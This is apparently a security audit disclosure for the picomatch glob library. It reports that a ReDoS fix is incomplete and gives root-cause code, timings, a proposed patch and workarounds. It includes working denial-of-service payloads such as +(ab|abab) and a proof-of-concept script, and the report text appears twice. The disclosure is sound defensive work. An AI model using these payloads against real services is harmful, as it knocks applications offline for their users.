Security Audit: micromatch/picomatch
Repo: https://github.com/micromatch/picomatch
Reviewed: 2026-06-06
Version audited: 4.0.4 (latest patched release)
Stack: JavaScript (Node.js >= 12)
[P1-01] Incomplete ReDoS Fix — Multi-Character Prefix Overlap Bypass
| Field |
Detail |
| Severity |
P1 — Critical |
| CWE |
CWE-1333 (Inefficient Regular Expression Complexity) |
| CVSS |
7.5 (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H) |
| File |
lib/parse.js:142-162 (hasRepeatedCharPrefixOverlap) |
| Affected |
All versions including 4.0.4 (patched release) |
Impact
The fix for CVE-2026-33671 (ReDoS via extglob quantifiers) is incomplete. The hasRepeatedCharPrefixOverlap function only detects overlapping alternatives composed of single-character repeats (e.g., a vs aa, b vs bbb). It fails to detect multi-character prefix overlaps (e.g., ab vs abab, foo vs foobar).
As a result, patterns like +(ab|abab) are still compiled into regex with catastrophic backtracking, even in the latest patched version (v4.0.4) with default settings. An attacker can cause Node.js event-loop blocking with relatively short inputs (~80 characters causes ~1.2 seconds of blocking).
This affects applications that accept untrusted user-supplied glob patterns — the same threat model as the original CVE.
Evidence
Root cause — lib/parse.js:142-162
const hasRepeatedCharPrefixOverlap = branches => {
const values = branches.map(normalizeSimpleBranch).filter(Boolean);
for (let i = 0; i < values.length; i++) {
for (let j = i + 1; j < values.length; j++) {
const a = values[i];
const b = values[j];
const char = a[0];
// BUG: Only checks single-character repeats (e.g., 'a'/'aa')
// Does NOT catch multi-character prefixes (e.g., 'ab'/'abab')
if (!char || a !== char.repeat(a.length) || b !== char.repeat(b.length)) {
continue; // <-- skips all non-single-char-repeat branches
}
if (a === b || a.startsWith(b) || b.startsWith(a)) {
return true;
}
}
}
return false;
};
The check a !== char.repeat(a.length) verifies that branch a consists entirely of the same character repeated (e.g., "aa" = "a".repeat(2)). For any branch that doesn't match this pattern (e.g., "ab"), the pair is silently skipped — even if one branch is a prefix of another.
Compiled regex for +(ab|abab) (v4.0.4)
/^(?:(?=.)(?:ab|abab)+)$/
This is a functional regex, NOT literalized. The fix should have treated this as a literal pattern.
Performance scaling — pattern +(ab|abab) against input ab.repeat(n) + "c", M1 MacBook
| n |
Input length |
Time to reject |
| 30 |
61 |
57 ms |
| 35 |
71 |
134 ms |
| 40 |
81 |
1,247 ms |
| 45 |
91 |
12,758 ms |
The time grows exponentially with input length. For only 91 characters, the regex takes ~13 seconds to reject the input.
Exploit Path
- Attacker provides glob pattern
+(ab|abab) to an application that accepts user-supplied patterns
- Application passes the pattern to
picomatch() for compilation
- picomatch compiles it to the regex
^(?:(?=.)(?:ab|abab)+)$
- Attacker sends a matching request with input
ababab...c (~80+ characters)
- The regex engine enters catastrophic backtracking, blocking the Node.js event loop
- Result: Denial of Service — application becomes unresponsive
Affected Patterns
The following pattern classes all bypass the fix (tested on v4.0.4):
| Pattern |
Compiles as regex? |
Vulnerable? |
+(ab|abab) |
YES |
YES — 1.2s @ 81 chars |
*(ab|abab) |
YES |
YES — 1.5s @ 81 chars |
+(abc|abcabc) |
YES |
YES (higher input length needed) |
+(foo|foobar) |
YES |
YES (higher input length needed) |
+(a|aa) |
NO (literalized) |
Fixed by existing check |
Remedy
The hasRepeatedCharPrefixOverlap function must be generalized to detect any prefix overlap between branches, not just single-character repeats. The fixed logic should be:
const hasPrefixOverlap = branches => {
const values = branches.map(normalizeSimpleBranch).filter(Boolean);
for (let i = 0; i < values.length; i++) {
for (let j = i + 1; j < values.length; j++) {
const a = values[i];
const b = values[j];
if (a === b || (a[0] && (a.startsWith(b) || b.startsWith(a)))) {
return true;
}
}
}
return false;
};
This removes the char.repeat() filter and directly checks if any branch is a prefix of another branch. Same approach should replace hasRepeatedCharPrefixOverlap in analyzeRepeatedExtglob at lib/parse.js:299.
Workarounds (same as CVE-2026-33671):
- Use
noextglob: true to disable extglob parsing for untrusted patterns
- Sanitize/reject patterns containing extglob quantifiers like
+( and *(
- Run pattern matching in isolated workers with time/resource limits
- Apply request throttling on endpoints accepting glob patterns
Proof of Concept
Setup
# 1. Create a test directory and install picomatch 4.0.4
mkdir /tmp/picomatch-poc && cd /tmp/picomatch-poc
npm init -y && npm install picomatch@4.0.4
poc.js
// 2. Save this as poc.js
const pm = require('picomatch');
// THIS IS THE VULNERABLE PATTERN — not detected as risky
const pattern = '+(ab|abab)';
console.log('Generated regex:', pm.makeRe(pattern).source);
console.log('Is literal?', pm.makeRe(pattern).source.includes('\\+(') ? 'YES (safe)' : 'NO (VULNERABLE)');
console.log('');
const isMatch = pm(pattern);
// Exponential scaling test
for (let n = 10; n <= 45; n += 5) {
const input = 'ab'.repeat(n) + 'c';
const start = Date.now();
isMatch(input);
const elapsed = Date.now() - start;
const stars = '*'.repeat(Math.min(Math.floor(elapsed / 100), 80));
console.log(`n=${n} len=${String(input.length).padStart(2)} ${String(elapsed).padStart(6)}ms ${stars}`);
}
Run
Expected Output
What you'll see: The generated regex is ^(?:(?=.)(?:ab|abab)+)$ — NOT literalized. Then timing grows exponentially:
- n=30: ~50ms
- n=40: ~1.2s
- n=45: ~13s
Video Proof Of Concept
Security Audit: micromatch/picomatch
Repo: https://github.com/micromatch/picomatch
Reviewed: 2026-06-06
Version audited: 4.0.4 (latest patched release)
Stack: JavaScript (Node.js >= 12)
[P1-01] Incomplete ReDoS Fix — Multi-Character Prefix Overlap Bypass
lib/parse.js:142-162(hasRepeatedCharPrefixOverlap)Impact
The fix for CVE-2026-33671 (ReDoS via extglob quantifiers) is incomplete. The
hasRepeatedCharPrefixOverlapfunction only detects overlapping alternatives composed of single-character repeats (e.g.,avsaa,bvsbbb). It fails to detect multi-character prefix overlaps (e.g.,abvsabab,foovsfoobar).As a result, patterns like
+(ab|abab)are still compiled into regex with catastrophic backtracking, even in the latest patched version (v4.0.4) with default settings. An attacker can cause Node.js event-loop blocking with relatively short inputs (~80 characters causes ~1.2 seconds of blocking).This affects applications that accept untrusted user-supplied glob patterns — the same threat model as the original CVE.
Evidence
Root cause —
lib/parse.js:142-162The check
a !== char.repeat(a.length)verifies that branchaconsists entirely of the same character repeated (e.g.,"aa"="a".repeat(2)). For any branch that doesn't match this pattern (e.g.,"ab"), the pair is silently skipped — even if one branch is a prefix of another.Compiled regex for
+(ab|abab)(v4.0.4)This is a functional regex, NOT literalized. The fix should have treated this as a literal pattern.
Performance scaling — pattern
+(ab|abab)against inputab.repeat(n) + "c", M1 MacBookThe time grows exponentially with input length. For only 91 characters, the regex takes ~13 seconds to reject the input.
Exploit Path
+(ab|abab)to an application that accepts user-supplied patternspicomatch()for compilation^(?:(?=.)(?:ab|abab)+)$ababab...c(~80+ characters)Affected Patterns
The following pattern classes all bypass the fix (tested on v4.0.4):
+(ab|abab)*(ab|abab)+(abc|abcabc)+(foo|foobar)+(a|aa)Remedy
The
hasRepeatedCharPrefixOverlapfunction must be generalized to detect any prefix overlap between branches, not just single-character repeats. The fixed logic should be:This removes the
char.repeat()filter and directly checks if any branch is a prefix of another branch. Same approach should replacehasRepeatedCharPrefixOverlapinanalyzeRepeatedExtglobatlib/parse.js:299.Workarounds (same as CVE-2026-33671):
noextglob: trueto disable extglob parsing for untrusted patterns+(and*(Proof of Concept
Setup
poc.js
Run
# 3. Run it node poc.jsExpected Output
What you'll see: The generated regex is
^(?:(?=.)(?:ab|abab)+)$— NOT literalized. Then timing grows exponentially:Video Proof Of Concept